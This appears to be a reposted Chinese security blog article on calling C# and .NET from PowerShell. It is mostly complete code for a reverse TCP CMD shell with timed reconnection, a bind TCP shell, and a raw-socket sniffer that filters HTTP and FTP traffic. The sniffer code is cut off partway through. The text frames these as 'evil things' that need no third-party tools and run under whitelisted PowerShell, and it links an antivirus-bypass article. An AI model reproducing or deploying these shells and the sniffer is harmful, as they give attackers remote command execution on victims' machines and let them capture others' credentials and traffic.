Powershell c# and .NET

大家都知道powershell有一个非常厉害的地方是可以直接调用.net框架,并且.net框架在windows7/2008及以后是默认安装的。
Powershell调用.net框架可以有多种方法,最简单的方法是写c#代码然后直接运行,或者在powershell中使用new-object创建.net对象,然后再调用。

96873

 

(在powershell中运行c#代码)

977878209

 

(在powershell中直接创建.net对象)

当然powershell还有很多方法运行c#代码。

Windows Raw Socket

raw socket提供了底层网络包的操作,所以需要administrator的权限,关于当前环境支持的raw socket的详细信息可以通过下面的命令查看。

netsh winsock show catalog

 

关于c#调用socket的文档,你可以在msdn的链接中找到,注意socket对象在.net3.5和其他版本中有一些差异。

evil things

通晓上面的过程后,就明白基本的网络操作都可以用powershell完成,比如端口扫描,CMD SHELL,文件上传下载,嗅探等。

重要的是这些操作不需要任何第三方的支持!

因为windows安装后就具备了这些条件!

而且这些操作是以白名单的powershell运行的!

比如构建一个反向连接的CMDSHELL熟悉上面的过程之后,写起来就会变得很简单,首先我们需要用c#写一个反向交互式CMD shell的对象,加上定时回连的功能,并且注意这个对象必须是public的,这样才能在powershell中调用。然后将你的代码复制进一个新的ps1文件中,并且用Add-Type @’ ’@包含,之后就可以调用这个对象了。当然你也可以直接用powershell调用.NET的socket与Process和其他对象(主要)构建一个反向交互式的CMDSHELL。

Reverse TCP SHELL

729691124

$Addr = "127.0.0.1"
$Port = 6666
$SleepTime = 5 #seconds

Add-Type @'
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;

public class ReverseTCPShell
{
    public static TcpClient tcpClient;
    public static NetworkStream stream;
    public static StreamReader streamReader;
    public static StreamWriter streamWriter;
    public static StringBuilder UserInput;

    public static void run(string IP, int port, int SleepTime)
    {
        for (; ; )
        {
            start(IP, port, SleepTime);
            System.Threading.Thread.Sleep(SleepTime * 1000);
        }   
    }
    public static void start(string IP, int port, int SleepTime)
    {
        tcpClient = new TcpClient();
        UserInput = new StringBuilder();

        if (!tcpClient.Connected)
        {
            try
            {
                tcpClient.Connect(IP, port);
                stream = tcpClient.GetStream();
                streamReader = new StreamReader(stream, System.Text.Encoding.Default);
                streamWriter = new StreamWriter(stream, System.Text.Encoding.Default);
            }
            catch (Exception)
            {
                return;
            }

            Process CmdProc;
            CmdProc = new Process();

            CmdProc.StartInfo.FileName = "cmd.exe";
            CmdProc.StartInfo.UseShellExecute = false;
            CmdProc.StartInfo.RedirectStandardInput = true;
            CmdProc.StartInfo.RedirectStandardOutput = true;
            CmdProc.StartInfo.RedirectStandardError = true;

            CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler);
            CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler);

            CmdProc.Start();
            CmdProc.BeginOutputReadLine();
            CmdProc.BeginErrorReadLine();

            while (true)
            {
                try
                {
                    UserInput.Append(streamReader.ReadLine());
                    CmdProc.StandardInput.WriteLine(UserInput);
                    UserInput.Remove(0, UserInput.Length);
                }
                catch (Exception)
                {
                    streamReader.Close();
                    streamWriter.Close();
                    CmdProc.Kill();
                    break;
                }
            }
        }
    }

    public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception) { }
        }
    }
}

'@
[ReverseTCPShell]::run($addr, $port, $SleepTime)

 

Bind TCP SHELL

235459587

$port = 2233

Add-Type @'
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;

public class BindTCPShell
{
    public static NetworkStream stream;
    public static StreamReader streamReader;
    public static StreamWriter streamWriter;
    public static StringBuilder UserInput;

    public static void run(int port)
    {
        try
        {
            IPAddress localAddr = IPAddress.Parse("127.0.0.1");
            TcpListener server = new TcpListener(localAddr, port);

            while (true)
            {

                server.Start();

                TcpClient client = server.AcceptTcpClient();
                Byte[] bytes = new Byte[client.ReceiveBufferSize];

                Process CmdProc;
                CmdProc = new Process();

                CmdProc.StartInfo.FileName = "cmd.exe";
                CmdProc.StartInfo.UseShellExecute = false;
                CmdProc.StartInfo.RedirectStandardInput = true;
                CmdProc.StartInfo.RedirectStandardOutput = true;
                CmdProc.StartInfo.RedirectStandardError = true;

                CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler);
                CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler);

                CmdProc.Start();
                CmdProc.BeginOutputReadLine();
                CmdProc.BeginErrorReadLine();

                stream = client.GetStream();
                streamReader = new StreamReader(stream, System.Text.Encoding.Default);
                streamWriter = new StreamWriter(stream, System.Text.Encoding.Default);

                UserInput = new StringBuilder();

                while (true)
                {
                    try
                    {
                        UserInput.Append(streamReader.ReadLine());
                        UserInput.Append("\n");
                        CmdProc.StandardInput.WriteLine(UserInput);
                        UserInput.Remove(0, UserInput.Length);
                    }
                    catch (Exception)
                    {
                        streamReader.Close();
                        streamWriter.Close();
                        CmdProc.Kill();
                        break;
                    }
                }
            }
        }
        catch (SocketException)
        {
        }

    }

    public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception ) { }
        } 
    }
}
'@
[BindTCPShell]::run($port)

 

SNIFFER

在这里其实是可以把数据包存为pcap的,下面的demo只是做到了TCP解析的部分,filter也只是简单的给出了HTTP和FTP的筛选,关于IP和TCP解包的部分我已经在注释中给出了。
如果有其他需求可以自行修改。

499879201

 

$Addr = "192.168.200.173"

Add-Type @'
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
using System.Net.Sockets;
using System.Net;
using System.IO;

public class Sniffer
{
    public static void run(string Addr)
    {
        try
        {
            Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);

            using (socket)
            {
                socket.Bind(new IPEndPoint(IPAddress.Parse(Addr), 0));
                System.Console.WriteLine("[+] binded to [" + socket.LocalEndPoint + "]");
                System.Console.WriteLine();

                byte[] inValue = BitConverter.GetBytes(1); // {1,0,0,0} for receiving all packets.
                byte[] outValue = BitConverter.GetBytes(0);
                socket.IOControl(IOControlCode.ReceiveAll, inValue, outValue);

                byte[] buf = new byte[1500];
                IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 0);

                int index = 0;
                while (true)
                {
                    index++;
                    ipep.Address = IPAddress.Any;
                    ipep.Port = 0;

                    EndPoint ep = (EndPoint)ipep;

                    int bufferReceivedSize = socket.ReceiveFrom(buf, ref ep);

                    IP ipPacket = new IP(buf);
                    if (ipPacket.protocol == 6)
                    {
                        TCP tcp = new TCP(ipPacket.data);
//                            System.Console.WriteLine("{0} : {1} --> {2} : {3} bytes.", (protocol)ipPacket.protocol, ipPacket.srcAddr, ipPacket.dstAddr, ipPacket.dataLen);
//                            System.Console.WriteLine("{0}=>{1}", tcp.srcPort, tcp.destPort);
                        DataFilter dataFilter = new DataFilter(tcp.data);
                    }
                      
                }
            }
        }

        catch (SocketException err)
        {
            System.Console.WriteLine(err.Message);
            return;
        }
    }
}

public enum protocol : byte
{
    //Reference : http://en.wikipedia.org/wiki/List_of_IP_protocol_numbers

    ICMP = 1,
    IGMP = 2,
    GGP = 3,
    IPCAP = 4,
    IPSTREAM = 5,
    TCP = 6,
    EGP = 8,
    IGRP = 9,
    UDP = 17,
    IPV6OIPV4 = 29
}

class IP
{
    //you can find the details about IP packet decoding here. [http://zh.wikipedia.org/wiki/IPv4#.E6.8A.A5.E6.96.87.E7.BB.93.E6.9E.84]

    public int version;                             //[ 4bit]
    public int headLen;                             //[ 4bit]
    public int service;                             //[ 8bit]
    public int dataLen;                             //[16bit]
    public int IPIdentificationNumber;              //[16bit]
    public int flag;                                //[ 3bit]
    public int fragmentOffset;                      //[13bit]
    public byte TTL;                                //[ 8bit]
    public int protocol;                            //[ 8bit]
    public int checkSum;                            //[16bit]
    public IPAddress srcAddr;                       //[32bit]
    public IPAddress dstAddr;                       //[32bit]

    public byte[] option;                           //[32bit] #not sure, exists if headLen > 20.
    public byte[] data;                             //[32bit]

    public IP(byte[] buf)
    {
        version = (buf[0] & 0xf0) >> 4;
        headLen = (int)(buf[0] & 0x0f) * 4;
        service = (int)(buf[1]);
        dataLen = ((int)buf[2] << 8) + (int)buf[3];
        IPIdentificationNumber = ((int)buf[5] << 8) + (int)buf[5];
        flag = buf[6] >> 5;
        fragmentOffset = (((int)buf[6] & 0x1F) << 8) + (int)buf[7];
        TTL = buf[8];
        protocol = (int)buf[9];
        checkSum = ((int)buf[10] << 8) + (int)buf[11];

        byte[] addr = new byte[4];

        //srcAddr
        Array.Copy(buf, 12, addr, 0, 4);
        srcAddr = new IPAddress(addr);

        //dstAddr
        addr = new byte[4];
        Array.Copy(buf, 16, addr, 0, 4);
        dstAddr = new IPAddress(addr);

        if (headLen > 20)
        {
            option = new byte[headLen - 20];
            Array.Copy(buf, 20, option, 0, option.Length);
        }

        data = new byte[dataLen - headLen];
        Array.Copy(buf, headLen, data, 0, data.Length);
    }
}

public class TCP
{
    public int srcPort = 0;
    public int destPort = 0;
    public uint sequenceNo = 0;

系列其他文章:

Powershell tricks::Bypass AV

Powershell tricks#Powershell Remoting

 

【原文:Powershell and Windows RAW SOCKET 作者:  安全脉搏Chloe整理发布

源链接

Hacking more

...